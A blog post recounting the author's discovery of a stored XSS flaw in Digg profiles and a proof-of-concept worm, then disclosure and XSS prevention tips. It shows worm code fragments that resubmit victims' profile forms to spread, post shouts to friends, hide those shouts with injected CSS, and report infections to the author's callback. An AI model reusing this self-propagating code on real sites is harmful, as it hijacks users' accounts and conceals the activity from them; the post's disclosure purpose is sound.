The Digg worm that wasn’t
Two nights ago I was editing my Digg profile and couldn’t help but think about the recent Mikeyy and Twitter revolt. Within minutes I had found a XSS exploit that could theoretically allow me to achieve the same.
Half an hour later, I had a working worm ready to infect everyone that saw my profile page, which also would propagate to theirs.
Locating the vulnerability
XSS vulnerabilities are quite ironic nowadays. Everyone knows about them, almost everyone knows what their most frequent form is, but few seem to test for them or implement systems to avoid them.
The most common form of a XSS exploit scenario is that in which the attacker manages to store malicious code in the host, which when shown is not escaped properly and is thus executed. On Digg, all it took me was to insert a <script> tag in the “About me” textarea.
Less known forms of XSS exploits involve other pathways through which the user sends information:
- Request headers. A malicious user, like Al Capone or Mikeyy, could alter the User Agent or Referer, for example, to store malicious code.
- Query string. Commonly known as the PHP_SELF bug, the vulnerable sites are those which print out the request URL without escaping it. For example, if a programmer decides to populate the a
<form action="">with the unsanitized request URL, an attacker could inject code that can be conveniently distributed with URL shortening services.
It’s also important to remember that preventing XSS exploits is not about escaping < or > alone. I recommend checking out this cheatsheet for a comprehensive list of possible, real-world attacks.
Exploiting it
The exploit code is only anecdotally interesting. I do not encourage anyone to start testing random websites and injecting harmful JavaScript.
The attack plan is as follows
-
Check the user is logged in, by checking for the absence of a login link.
if ($('#header-login').attr('href')) return;
-
Propagate the script by retrieving the profile edit details form and ajaxly submitting it.
$.ajax({url: 'http://digg.com/settings/about', dataType: 'html', success: function(doc){ // ... $.ajax({url: 'http://digg.com/settings/about', data: form.serialize(), type: 'POST'}); // ... }});
- We disable the Digg Bar by posting to http://digg.com/settings/viewing. This time we don’t really need to retrieve the whole form, because we already have the magic token that prevents CSRF attacks
- We shout to friends to check out our profile. When a friend is infected, the
<script>tag also holds the information of the scripter, so that the victim doesn’t shout back, which could raise suspicions that something fishy is going on. -
We also store the created shouts ids in a cookie, to hide them from the user view as soon as the script loads and avoid users seeing weird shouts they didn’t voluntarily send.
var shouts = $.cookie('shouts'), shoutedTo = [], shoutIds = []; if (shouts) { shouts = shouts.split(','); $(shouts).each(function(i, code){ code = code.split('|'); shoutIds.push(code[0]); shoutedTo.push(code[1]); document.write('<style>#shout-' + code[0] + '{ display: none; }</style>'); }); document.write('<style>#shout-' + shoutIds.sort().reverse().join('-') + '{ display: none; }</style>'); }
Additionally, I set up a callback page and a very basic form of cross-domain requests (using images)1 to inform me of the success of the different stages of the worm (infection, bar disabling, propagation) for each user.
Check out the full script here.
Preventing it
First of all, it’s important to constantly keep in mind that user-supplied information should be untrusted. Whenever you input or output information that was originated by a 3rd party, extra caution should be taken.
For PHP developers, preventing XSS exploits usually means passing all user-supplied info through the htmlentities() function. The caution part is not a cliche, or a meaningless recommendation. It might be obvious for you, as a developer, to escape $_POST['value'] but escaping $_SERVER['HTTP_USER_AGENT'] takes undoubtedly more attention.
The Symfony framework provides one of the arguably most elegant solutions to this problem, with its built-in XSS protection, virtually transparent to the developer. Learn more about this method.
Conclusion
I enabled the worm on Digg to try it out with my friends, and it quickly began to spread. After succeeding and collecting about 20 users, I quickly commented it out and let the Digg crew know. Jen Burton, the community manager, responded really quickly, and within an hour or two2 they had fixed the bug and updated the production site.
Displaying only a subset of the comments. Click here to display all comments.
Yet again somewhat surprising, but props to Digg for taking quick action. Props on your ethical approach vs kiddies/Mikeyy. You have a bright future!